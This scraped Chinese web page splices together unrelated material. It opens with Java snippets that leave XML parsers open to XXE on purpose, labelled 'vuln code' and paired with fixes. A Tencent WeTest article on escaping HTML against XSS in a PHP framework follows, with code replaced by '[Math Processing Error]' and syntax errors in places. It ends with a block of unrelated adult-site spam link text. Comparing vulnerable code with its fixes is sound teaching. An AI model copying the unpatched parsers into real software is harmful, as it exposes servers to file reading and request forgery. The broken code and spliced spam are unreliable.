              parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
          
              return "SAXParser xxe vuln code";
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }

          6.7 修復代碼:

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
          
              SAXParserFactory spf=SAXParserFactory.newInstance();
              // fix code start
              spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
              spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
              spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
              // fix code start
              SAXParser parser=spf.newSAXParser();
              parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }
          

          6.8 Digester

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
          
              Digester digester=new Digester();
              digester.parse(new StringReader(body));  // parse xml
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }

          修復代碼:

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
          
              Digester digester=new Digester();
               // fix code start
              digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
              digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
              digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
               // fix code end
              digester.parse(new StringReader(body));  // parse xml
          
              return "Digester xxe security code";
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }
          

          6.9 DocumentBuilderFactory

          6.9.1 代碼1:

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
              DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
              DocumentBuilder db=dbf.newDocumentBuilder();
              StringReader sr=new StringReader(body);
              InputSource is=new InputSource(sr);
              Document document=db.parse(is);  // parse xml
          
              // 遍歷xml節點name和value
              StringBuilder buf=new StringBuilder();
              NodeList rootNodeList=document.getChildNodes();
              for (int i=0; i < rootNodeList.getLength(); i++) {
                  Node rootNode=rootNodeList.item(i);
                  NodeList child=rootNode.getChildNodes();
                  for (int j=0; j < child.getLength(); j++) {
                      Node node=child.item(j);
                      buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
                  }
              }
              sr.close();
              return buf.toString();
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }
          

          6.9.2 代碼2:

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
          
              DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
              DocumentBuilder db=dbf.newDocumentBuilder();
              StringReader sr=new StringReader(body);
              InputSource is=new InputSource(sr);
              Document document=db.parse(is);  // parse xml
          
              // 遍歷xml節點name和value
              StringBuilder result=new StringBuilder();
              NodeList rootNodeList=document.getChildNodes();
              for (int i=0; i < rootNodeList.getLength(); i++) {
                  Node rootNode=rootNodeList.item(i);
                  NodeList child=rootNode.getChildNodes();
                  for (int j=0; j < child.getLength(); j++) {
                      Node node=child.item(j);
                      // 正常解析XML,需要判斷是否是ELEMENT_NODE類型。否則會出現多余的的節點。
                      if (child.item(j).getNodeType()==Node.ELEMENT_NODE) {
                          result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild()));
                      }
                  }
              }
              sr.close();
              return result.toString();
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }
          

          6.9.3 修復代碼:

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
          
              DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
              dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
              dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
              dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
              DocumentBuilder db=dbf.newDocumentBuilder();
              StringReader sr=new StringReader(body);
              InputSource is=new InputSource(sr);
              db.parse(is);  // parse xml
              sr.close();
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }
          

          6.9.4 代碼3,支持XInclude:

          6.9.4.1何為XInclude

          Xinclude即為XML Include,其實就是文件包含,其作用很大時候可以使得代碼更加簡潔,當需要使用其中的內容的時候再把文件包含進來,可以參考php的include

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
          
              DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
              dbf.setXIncludeAware(true);   // 支持XInclude
              dbf.setNamespaceAware(true);  // 支持XInclude
              DocumentBuilder db=dbf.newDocumentBuilder();
              StringReader sr=new StringReader(body);
              InputSource is=new InputSource(sr);
              Document document=db.parse(is);  // parse xml
          
              NodeList rootNodeList=document.getChildNodes();
              response(rootNodeList);
          
              sr.close();
              return "DocumentBuilder xinclude xxe vuln code";
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }
          

          修復代碼;

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
              DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
          
              dbf.setXIncludeAware(true);   // 支持XInclude
              dbf.setNamespaceAware(true);  // 支持XInclude
              dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
              dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
              dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
          
              DocumentBuilder db=dbf.newDocumentBuilder();
              StringReader sr=new StringReader(body);
              InputSource is=new InputSource(sr);
              Document document=db.parse(is);  // parse xml
          
              NodeList rootNodeList=document.getChildNodes();
              response(rootNodeList);
          
              sr.close();
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }
          

          6.10 XMLReader&SAXParserFactory

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
          
              SAXParserFactory spf=SAXParserFactory.newInstance();
              SAXParser saxParser=spf.newSAXParser();
              XMLReader xmlReader=saxParser.getXMLReader();
              xmlReader.parse(new InputSource(new StringReader(body)));
          
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }

          修復代碼:

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
          
              SAXParserFactory spf=SAXParserFactory.newInstance();
              SAXParser saxParser=spf.newSAXParser();
              XMLReader xmlReader=saxParser.getXMLReader();
              xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
              xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
              xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
              xmlReader.parse(new InputSource(new StringReader(body)));
          
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }
          

          6.11 DocumentHelper

          try {
              String body=WebUtils.getRequestBody(req);
              DocumentHelper.parseText(body); // parse xml
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }
          

          修復該漏洞只需升級dom4j到2.1.1及以上,該版本及以上禁用了ENTITY;

          不帶ENTITY的PoC不能利用,所以禁用ENTITY即可完成修復。

          文由騰訊WeTest團隊提供,更多資訊可直接戳鏈接查看:http://wetest.qq.com/lab/

          微信號:TencentWeTest

          對于新接觸web開發的同學來說,XSS注入是一件非常頭疼的事情。就算是web開發多年的老手,也不敢保證自己寫的代碼完全沒有XSS注入的風險。

          因為現在比較主流的XSS防治手段主要有兩種,一種是在用戶輸入是將異常關鍵詞過濾,另一種則是在頁面渲染時將html內容實體化轉義。

          然而第一種方法一定程度上對業務數據要求相對較高,存在屏蔽數據和業務數據有沖突的情況,例如“程序類幫助文檔的編輯保存”,“外站帖子爬蟲”等等。都不能無差別將異常關鍵詞過濾掉,必須保持原輸入內容的完整性。

          而另一種html內容實體化的方式,又非常的依賴開發的編程習慣。一個不小心漏寫了就是一個安全工單,做web的前端同事應該深有體會。于是,我開始研究能不能不再依賴開發習慣,從框架層面上完全屏蔽XSS。

          這里先介紹一下我的PHP web Server框架,是我自己從從事web開發開始就一直在維護更新的框架,鏈接在此,有興趣的同學,可以看下。或者提出更多改進的建議。

          首先來看下普通的PHP是怎么轉義html實體的:

          htmlspecialchars($content, ENT_QUOTES | ENT_SUBSTITUTE) ENT_QUOTES 意思是需要轉義雙引號(”)和 單引號 (’)

          ENT_SUBSTITUTE 意思是 把無效的編碼替代成一個指定的帶有 Unicode 替代字符

          首先很容易想到的是把php模版中的字符串全部替換掉。

          而熟悉smarty的同學應該知道,其實smarty的模版渲染也是用了轉義字符串的方式。那我們渲染頁面的代碼可以這么寫。

          /**

          * 獲得模板渲染后的內容

          * @return string

          */

          public function getContent

          {

          //防XSS注入

          foreach ([Math Processing Error]

          [Math Processing Error][Math Processing Error]

          }

          unset($param);

              extract($this->params);
              ob_start;
              //include template
              $file=sprintf('%s/template/%s.tpl.php', TXApp::$app_root, $this->view);
              include $file;
              $content=ob_get_clean;
              return $content;
          }
          

          這樣的話,傳入的字符串類型的變量都會被替換掉了。但是問題也很明顯。那就是如果是數組或者object對象,里面的內容就無法進行轉義了。而這同樣也是smarty的一個弊端,smarty是在assign方法里進行的實體化轉義,如果是數組或者object就無視了。當然我們還需要更進一步的進行轉義處理。

          有同學看到這里肯定會有個想法,如果是數組的話,遞歸進行轉義處理不就可以了嗎。

          事實上我一開始的確是這么做的,但是弊端也很明顯。遞歸的層數越多,性能損耗就越大。而且并非所有進行轉義的內容我們都會用到,這樣就會造成性能的浪費。最優化的處理方式就是當需要用到的時候再做轉義處理,沒用到的時候該咋樣還是咋樣。

          于是我開始著手自己寫一個類,在我的框架里我命名為TXArray 繼承了ArrayObject,也就是讓其具備了array的部分性質。接下來開始進行array 方法重構。以下是部分代碼

          class TXArray extends ArrayObject

          {

          private [Math Processing Error]

          public function __construct($storage=array)
          {
              $this->storage=$storage;
          }
          
          public function getIterator
          {
              foreach ($this->storage as $key=> $value){
                  $key=$this->encode($key);
                  if (!isset($this->encodes[$key])){
           $this->encodes[$key]=$this->encode($value);
                  }
              }
              return new ArrayIterator($this->encodes);
          }
          
          public function offsetGet($k)
          {
              if (isset($this->storage[$k])){
                  $key=$this->encode($k);
                  if (!isset($this->encodes[$key])){
           $this->encodes[$key]=$this->encode($this->storage[$k]);
                  }
                  return $this->encodes[$key];
              }
              return null;
          }
          
          public function offsetExists($k)
          {
              return isset($this->storage[$k]);
          }
          
          public function offsetUnset($k)
          {        
              unset($this->storage[$k]);
              $k=$this->encode($k);
              unset($this->encodes[$k]);
          }
          
          public function offsetSet($k, $value)
          {
              $this->storage[$k]=$value;
              $this->encodes[$k]=$this->encode($value);
          }
          
          public function count
          {
              return count($this->storage);
          }
          
          private function encode($value)
          {
              if (is_string($value)){
                  $value=is_string($value) ? htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE) : $value
              } elseif (is_array($value)){
                  $value=new self($value);
              }
              return $value;
          }
          

          } offsetGet 會在[Math Processing Error]

          這樣一個遞歸的轉義模型就寫好了。也實現了用到時才轉義的目標。

          但是還有個問題。并不是所有字段都需要轉義的,例如我們平臺的輿情監控數據,數據來源主要是各大貼吧論壇,數據本身包含了圖片img,字體顏色等html元素。在展示時并不希望被模版轉義。所以我在框架上繼續優化。添加了PHP的魔法方法__get

          public function __get($k)
          {
              return isset($this->storage[$k]) ? $this->storage[$k] : null;
          }
          
          public function get($key)
          {
              return $this->__get($key);
          }
          

          也就是說只要調用[Math Processing Error]

          另外看業務也再需要加上一些對array的處理方法,例如array_key_exists,in_array, join等。或者直接使用__call 魔法方法

          public function __call($method, $args)
          {
              $args=&$this->storage;
              return call_user_func_array($method, $args);
          }
          
          public function serialize
          {
              return serialize($this->storage);
          }
          
          public function __invoke
          {
              return $this->storage ? true : false;
          }
          
          public function keys
          {
              return array_keys($this->values(false));
          }
          

          然后我們在頁面模版里就可以愉快的使用了

          但是這個TXArray還是有個問題,就是如果需要轉化成json全部下發給js使用的話,那里面的數據就無法被轉義了。當然也可以遞歸先全轉義一遍,但總覺得代碼不夠漂亮。這個問題我還會繼續研究。有新的進展和優化我都會上傳到我的 PHP開源組件框架 中,大家有什么好的建議都可以rtx跟我探討溝通哈


          主站蜘蛛池模板: 无码精品人妻一区二区三区免费看| 中文字幕一区在线播放| 亚洲色婷婷一区二区三区| 日韩亚洲一区二区三区| 亚洲熟妇无码一区二区三区| 国产福利电影一区二区三区,日韩伦理电影在线福| 中文字幕无码一区二区免费| 无码人妻一区二区三区兔费| 久久精品一区二区国产| 国产在线精品一区二区夜色| 性色av无码免费一区二区三区| 国产精品无码不卡一区二区三区| 亚洲日韩一区二区一无码| 国产成人精品无人区一区 | 国产伦精品一区二区三区不卡| 亚洲乱码日产一区三区| 成人国产一区二区三区| jazzjazz国产精品一区二区| 无码人妻精品一区二区在线视频| 国产福利视频一区二区| 色一乱一伦一区一直爽| 亚洲男人的天堂一区二区| 国产一区二区三区樱花动漫| 尤物精品视频一区二区三区| 激情久久av一区av二区av三区| 蜜臀AV免费一区二区三区| 一区二区国产在线播放| 亚洲熟妇av一区二区三区| 久久精品无码一区二区app| 一区二区无码免费视频网站| 杨幂AV污网站在线一区二区| 无码人妻AⅤ一区二区三区| 99久久精品午夜一区二区| 日韩精品无码视频一区二区蜜桃| 无码人妻精品一区二区蜜桃网站| 亚洲国模精品一区| 日韩AV无码一区二区三区不卡| 国产AV一区二区三区传媒| 国产高清一区二区三区视频| 无码人妻精品一区二区三区66| 亚洲av无码天堂一区二区三区|